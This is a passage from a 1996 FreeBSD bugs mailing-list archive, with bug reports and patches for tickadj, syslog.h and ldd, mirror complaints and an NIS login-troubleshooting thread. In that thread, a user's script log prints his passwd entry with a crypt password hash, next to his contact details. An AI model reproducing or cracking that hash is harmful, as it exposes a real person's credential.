zdhgWwr6554pir5t2uDwE5snsx5iiCKRAurvI0iv9tfdGDKyf3lA9Ljvs+Q1gz1f +juqxOB/Py6itmmvba3cQUqk1djpgbIgBfkBC6Un4vhv1UNCMSrAdhqYOdwFAAUR tCRTdGV2ZSBMb2d1ZSA8c3RldmVsQGJvY2suc2FsbmV0Lm5ldD4= =z0M4 -----END PGP PUBLIC KEY BLOCK----- ---------- Forwarded message ---------- Date: Tue, 19 Nov 1996 18:30:53 -0800 From: Mail Delivery Subsystem To: stevel@mail.cdsnet.net Subject: Returned mail: Service unavailable The original message was received at Tue, 19 Nov 1996 18:30:27 -0800 from localhost [127.0.0.1] ----- The following addresses have delivery notifications ----- (unrecoverable error) ----- Transcript of session follows ----- ... while talking to mail2.digital.com.: >>> RCPT To: <<< 554 ... ftpmail service has moved to ftpmail @ ftpmail . ramona . vix . com 554 ... Service unavailable --SAA31000.848457053/bock.salnet.net Content-Type: MESSAGE/DELIVERY-STATUS Content-ID: Content-Description: Reporting-MTA: dns; bock.salnet.net Received-From-MTA: DNS; localhost Arrival-Date: Tue, 19 Nov 1996 18:30:27 -0800 Final-Recipient: RFC822; ftpmail@decwrl.dec.com Action: failed Status: 5.0.0 Remote-MTA: DNS; mail2.digital.com Diagnostic-Code: SMTP; 554 ... ftpmail service has moved to ftpmail @ ftpmail . ramona . vix . com Last-Attempt-Date: Tue, 19 Nov 1996 18:30:53 -0800 --SAA31000.848457053/bock.salnet.net Content-Type: MESSAGE/RFC822 Content-ID: Content-Description: Return-Path: stevel@mail.cdsnet.net Received: from localhost (localhost [127.0.0.1]) by bock.salnet.net (8.7.6/8.7.3) with SMTP id SAA30999 for ; Tue, 19 Nov 1996 18:30:27 -0800 Date: Tue, 19 Nov 1996 18:30:26 -0800 (PST) From: Steve Logue X-Sender: stevel@bock.salnet.net To: ftpmail@decwrl.dec.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII help -STEVEl -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzJAjoMAAAEEAMEush9FHzpdHrCjgvZEFzgAjhqjOkUGXwSXsnlqAwQfRsiv zdhgWwr6554pir5t2uDwE5snsx5iiCKRAurvI0iv9tfdGDKyf3lA9Ljvs+Q1gz1f +juqxOB/Py6itmmvba3cQUqk1djpgbIgBfkBC6Un4vhv1UNCMSrAdhqYOdwFAAUR tCRTdGV2ZSBMb2d1ZSA8c3RldmVsQGJvY2suc2FsbmV0Lm5ldD4= =z0M4 -----END PGP PUBLIC KEY BLOCK----- --SAA31000.848457053/bock.salnet.net-- From owner-freebsd-bugs Tue Nov 19 19:50:09 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA00449 for bugs-outgoing; Tue, 19 Nov 1996 19:50:09 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA00442; Tue, 19 Nov 1996 19:50:06 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 19:50:06 -0800 (PST) Resent-Message-Id: <199611200350.TAA00442@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, gdonl@tsc.tdk.com Received: from w3.gv.tsc.tdk.com (gdonl@w3.gv.tsc.tdk.com [146.252.40.195]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA00116 for ; Tue, 19 Nov 1996 19:44:17 -0800 (PST) Received: (from gdonl@localhost) by w3.gv.tsc.tdk.com (8.8.3/8.8.3) id TAA00952; Tue, 19 Nov 1996 19:44:06 -0800 (PST) Message-Id: <199611200344.TAA00952@w3.gv.tsc.tdk.com> Date: Tue, 19 Nov 1996 19:44:06 -0800 (PST) From: Don Lewis Reply-To: gdonl@tsc.tdk.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2067: dereference of uninitialized variable in tickadj Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2067 >Category: bin >Synopsis: An unitialized pointer is dereferenced in tickadj >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 19:50:03 PST 1996 >Last-Modified: >Originator: Don Lewis >Organization: TDK Semiconductor Corp. >Release: FreeBSD 2.1.5-STABLE i386 >Environment: The bug is present in 2.1.5-STABLE through post 2.2 -current >Description: The getoffsets() routine in tickadj dereferences the pointer "kname" without initializing it. >How-To-Repeat: run tickadj >Fix: *** usr.sbin/xntpd/util/ORIGtickadj.c Sun Nov 10 19:32:50 1996 --- usr.sbin/xntpd/util/tickadj.c Tue Nov 19 19:33:11 1996 *************** *** 339,345 **** unsigned long *dosync_off; unsigned long *noprintf_off; { ! char **kname; #if defined(SYS_AUX3) || defined(SYS_AUX2) #define X_TICKADJ 0 --- 339,345 ---- unsigned long *dosync_off; unsigned long *noprintf_off; { ! char **kname, *knm; #if defined(SYS_AUX3) || defined(SYS_AUX2) #define X_TICKADJ 0 *************** *** 445,450 **** --- 445,451 ---- struct stat stbuf; #ifdef HAVE_GETBOOTFILE + kname = &knm; *kname = getbootfile(); if (stat(*kname, &stbuf) == -1 || nlist(*kname, nl) == -1) *kname = NULL; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Nov 19 21:00:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA03585 for bugs-outgoing; Tue, 19 Nov 1996 21:00:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA03569; Tue, 19 Nov 1996 21:00:03 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 21:00:03 -0800 (PST) Resent-Message-Id: <199611200500.VAA03569@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.UAA03078;Tue; (8.7.5/8.7.3);, 19 Nov 1996 20:54:08.-0800 (PST) Message-Id: <199611200454.UAA03078@freefall.freebsd.org> Date: Tue, 19 Nov 1996 20:54:08 -0800 (PST) From: pgiffuni@apolo.biblos.unal.edu.co To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/2068: Unstable keyboard mappings on the main tty Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2068 >Category: misc >Synopsis: Unstable keyboard mappings on the main tty >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 21:00:01 PST 1996 >Last-Modified: >Originator: Pedro Giffuni S. >Organization: Universidad Nacional de Colombia >Release: 2.1.5-RELEASE >Environment: FreeBSD apolo.biblos.unal.edu.co 2.1.5-RELEASE FreeBSD 2.1.5-RELEASE #0: Sat Sep 28 09:51:48 EST 1996 pgiffuni@apolo.biblos.unal.edu.co:/usr/src/sys/compile /COLOMBIA i386 >Description: The keyboard in the main text tty (p0) starts using a different row of the keymap file. >How-To-Repeat: Use xdm and wait a day >Fix: reboot, may be necesary to edit the keymaps if they are costumized >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Nov 20 07:40:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA11793 for bugs-outgoing; Wed, 20 Nov 1996 07:40:14 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA11771; Wed, 20 Nov 1996 07:40:11 -0800 (PST) Resent-Date: Wed, 20 Nov 1996 07:40:11 -0800 (PST) Resent-Message-Id: <199611201540.HAA11771@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.HAA11556;Wed; (8.7.5/8.7.3);, 20 Nov 1996 07:37:05.-0800 (PST) Message-Id: <199611201537.HAA11556@freefall.freebsd.org> Date: Wed, 20 Nov 1996 07:37:05 -0800 (PST) From: aurbina@acnet.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: bin/2071: FreeBSD does´t recognize aditional memory I installed, the AMI BIOS do Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2071 >Category: bin >Synopsis: FreeBSD does´t recognize aditional memory I installed, the AMI BIOS do >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Class: support >Submitter-Id: current-users >Arrival-Date: Wed Nov 20 07:40:06 PST 1996 >Last-Modified: >Originator: Alfonso Urbina Araux >Organization: Multired Digital >Release: 2.1.5 >Environment: FreeBSD multired.acnet.net 2.1.5-RELEASE FreeBSD 2.1.5-RELEASE #0: Tue Oct 29 21 :29:57 CST 1996 aurbina@multired.acnet.net:/usr/src/sys/compile/MULTIRED i3 86 >Description: I installed 16 megs aditional RAM, The AMI BIOS recognize well, 80 M total, but when FreeBSD boot, only recognize 64M Nov 18 08:45:47 multired /kernel: real memory = 67108864 (65536K bytes) Nov 18 08:45:47 multired /kernel: avail memory = 62935040 (61460K bytes) >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Nov 20 08:30:18 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15157 for bugs-outgoing; Wed, 20 Nov 1996 08:30:18 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15149; Wed, 20 Nov 1996 08:30:13 -0800 (PST) Resent-Date: Wed, 20 Nov 1996 08:30:13 -0800 (PST) Resent-Message-Id: <199611201630.IAA15149@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, james@expresslane.ca Received: from expresslane.ca (client-2.io.org [198.133.36.46]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA14482 for ; Wed, 20 Nov 1996 08:23:52 -0800 (PST) Received: (from james@localhost) by expresslane.ca (8.8.2/8.8.2) id LAA08668; Wed, 20 Nov 1996 11:23:46 -0500 (EST) Message-Id: <199611201623.LAA08668@expresslane.ca> Date: Wed, 20 Nov 1996 11:23:46 -0500 (EST) From: James FitzGibbon Reply-To: james@expresslane.ca To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/2072: Iomega parallel port ZIP drive support Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2072 >Category: kern >Synopsis: ZIP drive support is available for FreeBSD >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Nov 20 08:30:06 PST 1996 >Last-Modified: >Originator: James FitzGibbon >Organization: The Expresslane >Release: FreeBSD 2.2-CURRENT i386 >Environment: >Description: Nicolas.Souchu@prism.uvsq.fr has ported the Linux parallel port ZIP driver to FreeBSD. Can we consider adding it to the 3.0-current tree (once 2.2-release has been taken care of ) ? >How-To-Repeat: The information page for the driver is available at http://www.prism.uvsq.fr/~son/ppa3.html >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Nov 20 14:47:42 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA18931 for bugs-outgoing; Wed, 20 Nov 1996 14:47:42 -0800 (PST) Received: from nimbus.superior.net (root@nimbus.superior.net [206.153.96.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA18899; Wed, 20 Nov 1996 14:47:12 -0800 (PST) Received: (from exidor@localhost) by nimbus.superior.net (8.7.6/8.7.5) id RAA22028; Wed, 20 Nov 1996 17:47:09 -0500 (EST) Message-Id: <199611202247.RAA22028@nimbus.superior.net> Date: Wed, 20 Nov 1996 17:47:08 -0500 From: exidor@superior.net (Christopher Masto) To: exidor@superior.net (Christopher Masto) Cc: chat@freebsd.org, bugs@freebsd.org Subject: Re: Problems with 2.1.6-RELEASE References: <199611181631.LAA24415@nimbus.superior.net> X-Mailer: Mutt 0.48.1 Mime-Version: 1.0 In-Reply-To: <199611181631.LAA24415@nimbus.superior.net>; from Christopher Masto on Nov 18, 1996 11:31:02 -0500 Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Two days later: > ftp.freebsd.org > Can't complete download, site is too loaded Can't connect > ftp2.freebsd.org > 2.1.6-RELEASE not present > Mirror looks ancient - recent snapshots of 2.2 missing Nothing has changed - 2.1.6-RELEASE still not present > ftp3.freebsd.org > XFree86 missing from 2.1.6 distribution Same problem > ftp4.freebsd.org > Does not respond to FTP Some problem > ftp5.freebsd.org > XFree86 missing from 2.1.6 distribution Same problem > ftp6.freebsd.org > Many files missing from 2.1.6 distribution Same problem > ftp7.freebsd.org > unknown host. 2.1.6-RELEASE missing from site. Maybe the reason Linux is more popular has something to do with the near-impossibility of obtaining FreeBSD from the net. (And thanks, I've already got it - I'm posting this to point out the problem, not to ask for help) -- Christopher Masto . . . . Superior Net Support: support@superior.net chris@masto.com . . . . . Masto Consulting: info@masto.com On Wives, those who bark: The Faithful watchdog or the good wife standing at the door to welcome the home-coming master with honest bark.. - small town newspaper editor in Wisconsin, mid-1800s. From owner-freebsd-bugs Wed Nov 20 19:30:22 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA01580 for bugs-outgoing; Wed, 20 Nov 1996 19:30:22 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA01571; Wed, 20 Nov 1996 19:30:13 -0800 (PST) Resent-Date: Wed, 20 Nov 1996 19:30:13 -0800 (PST) Resent-Message-Id: <199611210330.TAA01571@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, davidn@sdev.usn.blaze.net.au Received: from sdev.usn.blaze.net.au (sdev.usn.blaze.net.au [203.17.53.19]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA01182 for ; Wed, 20 Nov 1996 19:18:56 -0800 (PST) Received: (from davidn@localhost) by sdev.usn.blaze.net.au (8.8.2/8.6.9) id OAA16660; Thu, 21 Nov 1996 14:17:48 +1100 (EST) Message-Id: <199611210317.OAA16660@sdev.usn.blaze.net.au> Date: Thu, 21 Nov 1996 14:17:48 +1100 (EST) From: David Nugent Reply-To: davidn@sdev.usn.blaze.net.au To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2074: syslog.h with SYSLOG_NAMES defined generates warnings Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2074 >Category: bin >Synopsis: syslog.h with SYSLOG_NAMES defined generates warnings >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Nov 20 19:30:05 PST 1996 >Last-Modified: >Originator: David Nugent - davidn@blaze.net.au >Organization: Unique Computing, Melbourne, Australia >Release: FreeBSD 3.0-CURRENT i386 >Environment: -current distribution. Compile any C program with: #define SYSLOG_NAMES #include >Description: The above scenario results in gcc generating the following warnings: /usr/include/syslog.h:75: warning: missing braces around initializer for `prioritynames[0]' /usr/include/syslog.h:122: warning: missing braces around initializer for `facilitynames[0]' >How-To-Repeat: See above >Fix: --- syslog.h.orig Mon Oct 28 19:25:51 1996 +++ syslog.h Thu Nov 21 14:12:32 1996 @@ -72,19 +72,19 @@ } CODE; CODE prioritynames[] = { - "alert", LOG_ALERT, - "crit", LOG_CRIT, - "debug", LOG_DEBUG, - "emerg", LOG_EMERG, - "err", LOG_ERR, - "error", LOG_ERR, /* DEPRECATED */ - "info", LOG_INFO, - "none", INTERNAL_NOPRI, /* INTERNAL */ - "notice", LOG_NOTICE, - "panic", LOG_EMERG, /* DEPRECATED */ - "warn", LOG_WARNING, /* DEPRECATED */ - "warning", LOG_WARNING, - NULL, -1, + { "alert", LOG_ALERT, }, + { "crit", LOG_CRIT, }, + { "debug", LOG_DEBUG, }, + { "emerg", LOG_EMERG, }, + { "err", LOG_ERR, }, + { "error", LOG_ERR, }, /* DEPRECATED */ + { "info", LOG_INFO, }, + { "none", INTERNAL_NOPRI, }, /* INTERNAL */ + { "notice", LOG_NOTICE, }, + { "panic", LOG_EMERG, }, /* DEPRECATED */ + { "warn", LOG_WARNING, }, /* DEPRECATED */ + { "warning", LOG_WARNING, }, + { NULL, -1, } }; #endif @@ -119,29 +119,29 @@ #ifdef SYSLOG_NAMES CODE facilitynames[] = { - "auth", LOG_AUTH, - "authpriv", LOG_AUTHPRIV, - "cron", LOG_CRON, - "daemon", LOG_DAEMON, - "ftp", LOG_FTP, - "kern", LOG_KERN, - "lpr", LOG_LPR, - "mail", LOG_MAIL, - "mark", INTERNAL_MARK, /* INTERNAL */ - "news", LOG_NEWS, - "security", LOG_AUTH, /* DEPRECATED */ - "syslog", LOG_SYSLOG, - "user", LOG_USER, - "uucp", LOG_UUCP, - "local0", LOG_LOCAL0, - "local1", LOG_LOCAL1, - "local2", LOG_LOCAL2, - "local3", LOG_LOCAL3, - "local4", LOG_LOCAL4, - "local5", LOG_LOCAL5, - "local6", LOG_LOCAL6, - "local7", LOG_LOCAL7, - NULL, -1, + { "auth", LOG_AUTH, }, + { "authpriv", LOG_AUTHPRIV, }, + { "cron", LOG_CRON, }, + { "daemon", LOG_DAEMON, }, + { "ftp", LOG_FTP, }, + { "kern", LOG_KERN, }, + { "lpr", LOG_LPR, }, + { "mail", LOG_MAIL, }, + { "mark", INTERNAL_MARK, }, /* INTERNAL */ + { "news", LOG_NEWS, }, + { "security", LOG_AUTH, }, /* DEPRECATED */ + { "syslog", LOG_SYSLOG, }, + { "user", LOG_USER, }, + { "uucp", LOG_UUCP, }, + { "local0", LOG_LOCAL0, }, + { "local1", LOG_LOCAL1, }, + { "local2", LOG_LOCAL2, }, + { "local3", LOG_LOCAL3, }, + { "local4", LOG_LOCAL4, }, + { "local5", LOG_LOCAL5, }, + { "local6", LOG_LOCAL6, }, + { "local7", LOG_LOCAL7, }, + { NULL, -1, } }; #endif >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Nov 20 20:11:37 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA03056 for bugs-outgoing; Wed, 20 Nov 1996 20:11:37 -0800 (PST) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA03051; Wed, 20 Nov 1996 20:11:29 -0800 (PST) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.7.6/8.7.3) id GAA22289; Thu, 21 Nov 1996 06:11:20 +0200 (SAT) From: John Hay Message-Id: <199611210411.GAA22289@zibbi.mikom.csir.co.za> Subject: Re: Problems with 2.1.6-RELEASE In-Reply-To: <199611202247.RAA22028@nimbus.superior.net> from Christopher Masto at "Nov 20, 96 05:47:08 pm" To: exidor@superior.net (Christopher Masto) Date: Thu, 21 Nov 1996 06:11:20 +0200 (SAT) Cc: exidor@superior.net, chat@freebsd.org, bugs@freebsd.org X-Mailer: ELM [version 2.4ME+ PL24 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Well we're not the fastest site in the world, but 2.1.6 is on ftp.za.freebsd.org from hours after the anouncement. You will also get the international version of the crypto code there. :-) John -- John Hay -- John.Hay@mikom.csir.co.za > Two days later: > > > ftp.freebsd.org > > Can't complete download, site is too loaded > > Can't connect > > > ftp2.freebsd.org > > 2.1.6-RELEASE not present > > Mirror looks ancient - recent snapshots of 2.2 missing > > Nothing has changed - 2.1.6-RELEASE still not present > > > ftp3.freebsd.org > > XFree86 missing from 2.1.6 distribution > > Same problem > > > ftp4.freebsd.org > > Does not respond to FTP > > Some problem > > > ftp5.freebsd.org > > XFree86 missing from 2.1.6 distribution > > Same problem > > > ftp6.freebsd.org > > Many files missing from 2.1.6 distribution > > Same problem > > > ftp7.freebsd.org > > unknown host. > > 2.1.6-RELEASE missing from site. > > Maybe the reason Linux is more popular has something to do with the > near-impossibility of obtaining FreeBSD from the net. > > (And thanks, I've already got it - I'm posting this to point out the > problem, not to ask for help) > -- > Christopher Masto . . . . Superior Net Support: support@superior.net > chris@masto.com . . . . . Masto Consulting: info@masto.com > > On Wives, those who bark: > The Faithful watchdog or the good wife standing at the door to welcome the > home-coming master with honest bark.. > - small town newspaper editor in Wisconsin, mid-1800s. > From owner-freebsd-bugs Thu Nov 21 02:40:12 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA17007 for bugs-outgoing; Thu, 21 Nov 1996 02:40:12 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA16989; Thu, 21 Nov 1996 02:40:08 -0800 (PST) Resent-Date: Thu, 21 Nov 1996 02:40:08 -0800 (PST) Resent-Message-Id: <199611211040.CAA16989@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, nawaz921@cs.uidaho.edu Received: from zork.hungry.com (dialin124.csrv.uidaho.edu [129.101.112.134]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA16746 for ; Thu, 21 Nov 1996 02:34:40 -0800 (PST) Received: (from fn@localhost) by zork.hungry.com (8.8.2/8.6.9) id CAA00731; Thu, 21 Nov 1996 02:34:07 -0800 (PST) Message-Id: <199611211034.CAA00731@zork.hungry.com> Date: Thu, 21 Nov 1996 02:34:07 -0800 (PST) From: fn@uidaho.edu Reply-To: nawaz921@cs.uidaho.edu To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: gnu/2075: ldd usage() output doesn't match reality/man page Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2075 >Category: gnu >Synopsis: ldd usage() output doesn't match reality/man page >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Nov 21 02:40:04 PST 1996 >Last-Modified: >Originator: faried nawaz >Organization: Hungry Programmers, Inc. >Release: FreeBSD 3.0-CURRENT i386 >Environment: 3.0-current, dx4-100, a cold unheated living room in moscow, idaho. >Description: ldd takes '-f format' and '-v' options; the man page & code shows this but the output of ldd's usage() function doesn't. found this thanks to a ref to 'ldd -v' by bde@freebsd.org in email. >How-To-Repeat: man ldd more src/gnu/usr.bin/ld/ldd/ldd.c and cf with % ldd >Fix: *** ldd.c~ Thu Nov 21 02:25:52 1996 --- ldd.c Thu Nov 21 02:27:08 1996 *************** *** 52,58 **** { extern char *__progname; ! fprintf(stderr, "Usage: %s ...\n", __progname); exit(1); } --- 52,59 ---- { extern char *__progname; ! fprintf(stderr, "Usage: %s [-f format] [-v] ...\n", ! __progname); exit(1); } >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Nov 21 06:13:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA25306 for bugs-outgoing; Thu, 21 Nov 1996 06:13:08 -0800 (PST) Received: from ns1.arlut.utexas.edu (ns1.arlut.utexas.edu [129.116.212.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA25301; Thu, 21 Nov 1996 06:13:05 -0800 (PST) Received: from mail-firewall.arlut.utexas.edu (ns1.arlut.utexas.edu [129.116.212.1]) by ns1.arlut.utexas.edu (8.7.5/8.7.3) with ESMTP id IAA12490; Thu, 21 Nov 1996 08:13:00 -0600 (CST) Received: from neelix.arlut.utexas.edu (neelix.arlut.utexas.edu [129.116.152.36]) by mail-firewall.arlut.utexas.edu (8.7.5/8.7.3) with ESMTP id IAA12485; Thu, 21 Nov 1996 08:12:58 -0600 (CST) Received: (from lennyt@localhost) by neelix.arlut.utexas.edu (8.6.11/8.6.9) id IAA28753; Thu, 21 Nov 1996 08:11:25 -0600 Message-Id: <199611211411.IAA28753@neelix.arlut.utexas.edu> Subject: Problem getting NIS/yp to allow logins/su to users To: freebsd-bugs@freebsd.org Date: Thu, 21 Nov 1996 08:11:24 -0600 (CST) From: "Lenny Tropiano" Cc: jkh@freebsd.org X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been banging my head against the wall on this one, and can't figure out what the deal is. This is the first time I've had to use the NIS/yp support. This is FreeBSD 2.1.6-RELEASE. I can successfully bind, ypcat, ypwhich, ypmatch. But if I su or login it always comes back with unknown login. I know yp is working, since I can see users and groups just fine in the "ls -l" listing... Script started on Thu Nov 21 08:07:58 1996 eeyore# ypwhich ns1.arlut.utexas.edu eeyore# ypcat -x Use "passwd" for "passwd.byname" Use "group" for "group.byname" Use "networks" for "networks.byaddr" Use "hosts" for "hosts.byaddr" Use "protocols" for "protocols.bynumber" Use "services" for "services.byname" Use "aliases" for "mail.aliases" Use "ethers" for "ethers.byname" eeyore# ypmatch lennyt passwd lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh eeyore# ypmatch lennyt passwd.byname lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh eeyore# ypmatch 16555 passwd.byuid lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh eeyore# su lennyt su: unknown login: lennyt eeyore# ls -l /host/n1/itg/stow/ps total 77 -rw-r--r-- 1 lennyt itlstw 31708 Sep 22 11:47 ps ^^^ eeyore# Script done on Thu Nov 21 08:09:01 1996 -- Lenny Tropiano | Sr. Operating Systems Specialist Ph# (512) 835-3663 / 604-1166 Information Technology Group, Office: S252 Fax (512) 490-4220 / 835-3100 Applied Research Laboratories of UT Austin E-Mail: lennyt@arlut.utexas.edu P.O. Box 8029, Austin, Texas 78713-8029 Home E-mail: lenny@icus.com 10000 Burnet Rd, Austin Texas 78758 URL: http://www.icus.com/~lenny/ From owner-freebsd-bugs Thu Nov 21 06:57:27 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA27121 for bugs-outgoing; Thu, 21 Nov 1996 06:57:27 -0800 (PST) Received: from grackle.grondar.za (grackle.grondar.za [196.7.18.131]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA27044; Thu, 21 Nov 1996 06:56:57 -0800 (PST) Received: from grackle.grondar.za (localhost.grondar.za [127.0.0.1]) by grackle.grondar.za (8.8.3/8.7.3) with ESMTP id QAA08210; Thu, 21 Nov 1996 16:55:56 +0200 (SAT) Message-Id: <199611211455.QAA08210@grackle.grondar.za> To: "Lenny Tropiano" cc: freebsd-bugs@FreeBSD.ORG, jkh@FreeBSD.ORG Subject: Re: Problem getting NIS/yp to allow logins/su to users Date: Thu, 21 Nov 1996 16:55:54 +0200 From: Mark Murray Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Lenny Tropiano" wrote: > I've been banging my head against the wall on this one, and can't figure > out what the deal is. This is the first time I've had to use the NIS/yp > support. This is FreeBSD 2.1.6-RELEASE. > > I can successfully bind, ypcat, ypwhich, ypmatch. But if I su or login > it always comes back with unknown login. I know yp is working, since I > can see users and groups just fine in the "ls -l" listing... Does your /etc/passwd have the _correct_ +::::::: entry at the end? See man 5 passwd for details. M -- Mark Murray PGP key fingerprint = 80 36 6E 40 83 D6 8A 36 This .sig is umop ap!sdn. BC 06 EA 0E 7A F2 CE CE From owner-freebsd-bugs Thu Nov 21 08:09:35 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA00692 for bugs-outgoing; Thu, 21 Nov 1996 08:09:35 -0800 (PST) Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA00667; Thu, 21 Nov 1996 08:09:24 -0800 (PST) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id LAA19976; Thu, 21 Nov 1996 11:08:55 -0500 From: Bill Paul Message-Id: <199611211608.LAA19976@skynet.ctr.columbia.edu> Subject: Re: Problem getting NIS/yp to allow logins/su to users To: lennyt@arlut.utexas.edu (Lenny Tropiano) Date: Thu, 21 Nov 1996 11:08:54 -0500 (EST) Cc: freebsd-bugs@FreeBSD.org, jkh@FreeBSD.org In-Reply-To: <199611211411.IAA28753@neelix.arlut.utexas.edu> from "Lenny Tropiano" at Nov 21, 96 08:11:24 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Of all the gin joints in all the towns in all the world, Lenny Tropiano had to walk into mine and say: > I've been banging my head against the wall on this one, and can't figure > out what the deal is. This is the first time I've had to use the NIS/yp > support. This is FreeBSD 2.1.6-RELEASE. > > I can successfully bind, ypcat, ypwhich, 